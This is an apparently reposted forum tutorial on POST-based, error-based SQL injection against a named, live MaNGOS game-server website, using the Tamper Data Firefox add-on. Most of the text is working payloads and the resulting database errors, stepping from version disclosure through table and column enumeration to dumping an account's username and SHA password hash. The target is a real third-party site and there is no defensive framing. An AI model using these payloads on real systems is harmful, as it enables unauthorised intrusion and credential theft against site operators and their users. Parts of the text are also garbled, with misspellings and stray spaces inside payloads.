First off download FireFox, and an add on called Tamper Data.
I use MangosWeb SQLi 0-Day
Code:
Http://wowfaction.selfip.com/wow/
Now post SQL Injection can be done via seach boxes, login fields, and the direct POST content.
Once you 've found your site, try injecting your vulnerable field. I'm going to be using the login field in the top corner.
I put a 'in both fields, now let's see if it triggers our error.
Code: Couldnt Run Query: SELECT 'email 'FROM 'account' WHERE 'username' LIKE '''limit 1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' 'limit 1' at line 1
Now we got our error, perfect. now I cocould stop here for the hell of it, because that's all post SQL Injection is, is executing your queries through the POST data. this means you can use commands like order by and union select. I won't be using these because for this site I need to use error based. it's also string based. you shoshould be focusing on how to send queries through POST content, not the actual queries anyways. anyways, back on topic ....
So I'm back to the login page again, let's try this one more time. I'll hop right into the error based queries ..
Go to Tools> Tamper Data. Click start tamper, and continue with it.
Spoiler (Click to Hide)
Now a new form shocould come up, and show all the POST content getting ready to be sent.
My login parameter was set to % 27, which is URL encoded'
Now sometimes only one field will be vulnerable, but for this one it doesn' t matter. most fields also have a character limit, which is why you'll need Tamper Data. now whatever POST parameter is vulnerable, you execute your query through it. i'll use username...
Code: post data = '+ or + 1 + group + by + concat_ws (0x7e, version (), floor (rand (0) * 2) + having + min (0) + or + 1 -- x
Now click OK on tamper data and watch the query go through...
Code: Couldnt Run Query: SELECT 'email 'FROM 'account' WHERE 'username' LIKE ''or 1 group by concat_ws (0x7e, version (), floor (rand (0) * 2) having min (0) or 1 -- x 'limit 1
Error: Duplicate entry '5. 5.20 ~ 1 'for key' group _ key'
Now you shoshould see the version, and we now can move on and get the rest of what we want...
If you aren't too lazy to go back to the login page and repeat the process, click start tamper and refresh your page.
Tell FireFox to resend the data, and Tamper Data will popup again...
Code: post data = '+ or + 1 + group + by + concat_ws (0x7e, (select + table_name + from + information_schema.tables + where + table_schema = database () + limit + 0, 1), floor (rand (0) * 2) + having + min (0) + or + 1 -- x
Code: Couldnt Run Query: SELECT 'email 'FROM 'account' WHERE 'username' LIKE ''or 1 group by concat_ws (0x7e, (select table_name from information_schema.tables where table_schema = database () limit 0, 1), floor (rand (0) * 2) having min (0) or 1 -- x 'limit 1
Error: Duplicate entry 'account ~ 1 'for key' group _ key'
Spoiler (Click to Hide)
Same deal-e-o. Rinse, wash, and repeat. www.2cto.com
Code: '+ or + 1 + group + by + concat_ws (0x7e, (select + column_name + from + information_schema.colum ns + where + table_name = 0x61636f756e74 + limit + 0, 1 ), floor (rand (0) * 2) + having + min (0) + or + 1 -- x
Code: Couldnt Run Query: SELECT 'email 'FROM 'account' WHERE 'username' LIKE ''or 1 group by concat_ws (0x7e, (select column_name from information_schema.columns where table_name = 0x61636f756e74 limit 0, 1), floor (rand (0) * 2) having min (0) or 1 -- x 'limit 1
Error: Duplicate entry 'id ~ 1 'for key' group _ key'
Rinse, wash and repeat until you get what you want...
Code: Couldnt Run Query: SELECT 'email 'FROM 'account' WHERE 'username' LIKE ''or 1 group by concat_ws (0x7e, (select column_name from information_schema.columns where table_name = 0x61636f756e74 limit 1, 1), floor (rand (0) * 2) having min (0) or 1 -- x 'limit 1
Error: Duplicate entry 'username ~ 1 'for key' group _ key'
Code: '+ or + 1 + group + by + concat_ws (0x7e, (select + concat (id, 0x7e, username, 0x7e, sha_pass_has h) + from + account + limit + 0, 1), floor (rand (0) * 2) + having + min (0) + or + 1 -- x
Code: Couldnt Run Query: SELECT 'email 'FROM 'account' WHERE 'username' LIKE ''or 1 group by concat_ws (0x7e, (select concat (id, 0x7e, username, 0x7e, sha_pass_hash) from account limit 0, 1), floor (rand (0) * 2) having min (0) or 1 -- x' LIMIT 1
Error: Duplicate entry '1 ~ Vextah ~ D67ffd63a8a230bc3417a8804b17f217307a6e90 ~ 1 'for key' group _ key'
Well, that's it for now. Make sure you focus on what the tutorial is about, and not the queries.
Let me know if you need anything.
Bye!
From: http://hi.baidu.com/evilrapper/blog/item/98c3b2d1537991cc572c849c.html
